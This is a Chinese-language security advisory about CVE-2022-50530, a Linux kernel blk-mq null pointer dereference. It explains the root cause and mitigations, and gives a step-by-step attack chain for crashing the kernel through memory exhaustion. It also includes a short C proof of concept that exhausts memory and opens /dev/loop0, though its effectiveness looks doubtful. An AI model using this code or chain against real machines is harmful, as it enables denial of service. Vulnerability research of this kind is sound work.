IPBUF安全漏洞报告
English
CVE-2022-50530 CVSS 5.5 中危

CVE-2022-50530 Linux内核blk-mq空指针解引用漏洞

披露日期: 2025-10-07
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2022-50530
漏洞类型
空指针解引用(Null Pointer Dereference)
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux内核空指针解引用blk-mq拒绝服务内核漏洞本地提权内存管理块设备CVE-2022-50530内核panic

漏洞概述

CVE-2022-50530是Linux内核块设备多队列(blk-mq)子系统中存在的一个空指针解引用漏洞。该漏洞由syzkaller模糊测试工具发现,存在于blk_mq_clear_rq_mapping()函数中。问题的根本原因在于提交63064be150e4("blk-mq: Add blk_mq_alloc_map_and_rqs()")将原本分两步完成的标签分配操作合并为一步后,未充分处理内存分配失败(OOM)的情况。具体而言,当blk_mq_alloc_rqs()因内存不足而失败时,set->tags[hctx_idx]仍然为NULL指针,随后在blk_mq_free_rqs()的错误处理路径中调用blk_mq_clear_rq_mapping()时,会对NULL指针进行解引用操作,从而触发内核崩溃。该漏洞的CVSS评分为5.5,属于中危级别,攻击者需要本地低权限访问权限即可触发,无需用户交互。漏洞主要影响系统的可用性,可能导致内核panic或系统拒绝服务。虽然不需要特殊权限即可触发,但需要能够加载块设备或触发块设备分配操作,因此实际利用门槛相对较高。此漏洞已在Linux内核稳定版本中通过在blk_mq_clear_rq_mapping()函数中添加NULL指针检查进行修复。

技术细节

该漏洞的技术原理涉及Linux内核blk-mq子系统的标签分配机制。在原始实现中,标签分配分为两个独立步骤:首先调用blk_mq_alloc_rq_map()分配标签映射并将其赋值给set->tags[hctx_idx],然后调用blk_mq_alloc_rqs()分配请求队列。如果第二步失败,set->tags[hctx_idx]已经包含有效的标签映射指针,错误处理路径可以正常工作。

然而,在提交63064be150e4引入blk_mq_alloc_map_and_rqs()函数后,这两个步骤被合并为一个原子操作。当blk_mq_alloc_map_and_rqs()内部调用blk_mq_alloc_rqs()失败时(例如由于alloc_pages_node()因OOM失败),函数返回NULL给set->tags[hctx_idx],但错误处理路径blk_mq_free_rqs()仍然尝试通过set->tags[hctx_idx]获取drv_tags指针并调用blk_mq_clear_rq_mapping(drv_tags, ...),此时drv_tags为NULL,导致空指针解引用。

利用方式方面,攻击者可以通过以下方式触发该漏洞:1)在内存压力较大的环境下加载块设备驱动或创建块设备队列;2)通过cgroup或其他机制人为制造内存分配失败条件;3)触发__blk_mq_alloc_map_and_rqs()的调用路径。触发后,内核会因空指针解引用而崩溃(kernel panic),导致系统拒绝服务。由于该漏洞位于内核态,攻击者只需本地普通用户权限即可触发,但需要能够触发块设备分配操作的环境。

攻击链分析

STEP 1
1. 环境准备
攻击者需要具有本地系统访问权限(普通用户权限即可),并能够触发块设备队列分配操作的环境
STEP 2
2. 制造内存压力
通过大量内存分配操作消耗系统内存,制造OOM(内存不足)条件,使blk_mq_alloc_rqs()内部的alloc_pages_node()调用失败
STEP 3
3. 触发块设备分配
在内存压力条件下触发__blk_mq_alloc_map_and_rqs()调用,例如通过加载块设备驱动、打开块设备或执行块I/O操作
STEP 4
4. 触发空指针解引用
当blk_mq_alloc_rqs()因OOM失败时,set->tags[hctx_idx]保持为NULL,随后blk_mq_free_rqs()的错误处理路径调用blk_mq_clear_rq_mapping()对NULL指针进行解引用
STEP 5
5. 系统崩溃
内核因空指针解引用触发kernel panic,导致系统拒绝服务(DoS),系统可用性受到严重影响

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * CVE-2022-50530 PoC - Trigger null pointer dereference in blk_mq_clear_rq_mapping() * This PoC attempts to trigger the vulnerability by creating memory pressure * during block device queue allocation. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/stat.h> /* * The vulnerability is in blk-mq tag allocation when OOM occurs. * We try to exhaust memory to trigger the failure path in * blk_mq_alloc_map_and_rqs(), causing set->tags[hctx_idx] to remain NULL. * When blk_mq_free_rqs() is called for cleanup, it dereferences the NULL pointer. */ #define MEM_PRESSURE_SIZE (1024UL * 1024UL * 1024UL) /* 1GB */ void consume_memory(void) { void *mempool[MEM_PRESSURE_SIZE / (4096 * 1024)]; int i = 0; size_t chunk = 4096 * 1024; /* 4MB chunks */ fprintf(stderr, "[*] Consuming memory to trigger OOM condition...\n"); while (i < (int)(sizeof(mempool)/sizeof(mempool[0]))) { mempool[i] = mmap(NULL, chunk, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (mempool[i] == MAP_FAILED) { fprintf(stderr, "[*] Memory exhausted after %d allocations\n", i); break; } memset(mempool[i], 0, chunk); i++; } } int trigger_block_alloc(void) { int fd; char buf[4096]; /* Try to trigger blk-mq allocation by opening block devices */ fprintf(stderr, "[*] Attempting to trigger blk-mq tag allocation...\n"); /* Open loop device to trigger queue allocation */ fd = open("/dev/loop0", O_RDWR); if (fd < 0) { perror("[-] Failed to open /dev/loop0"); return -1; } /* Perform I/O operations to trigger tag allocation */ if (read(fd, buf, sizeof(buf)) < 0) { perror("[-] Read failed"); } close(fd); return 0; } int main(int argc, char *argv[]) { fprintf(stderr, "[*] CVE-2022-50530 PoC - blk-mq NULL pointer dereference\n"); /* Consume memory to create OOM condition */ consume_memory(); /* Trigger block device allocation under memory pressure */ trigger_block_alloc(); fprintf(stderr, "[*] PoC execution completed\n"); return 0; }

影响范围

Linux Kernel 受影响版本(具体版本范围请参考git.kernel.org上的修复提交)
Linux Kernel < 6a440e6d04431e774dc084abe88c106e2a474c1a(修复前版本)

防御指南

临时缓解措施
在无法立即升级内核的情况下,可以采取以下临时缓解措施:1)监控系统内存使用情况,避免在内存不足时进行块设备相关操作;2)通过cgroup限制用户进程的内存使用,防止恶意用户制造OOM条件;3)限制普通用户对块设备节点(如/dev/loop*、/dev/sd*等)的访问权限;4)配置sysctl参数调优内存分配策略,降低OOM发生的概率;5)部署内核监控工具(如kASAN、syzkaller)以便及时发现类似的内核崩溃事件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表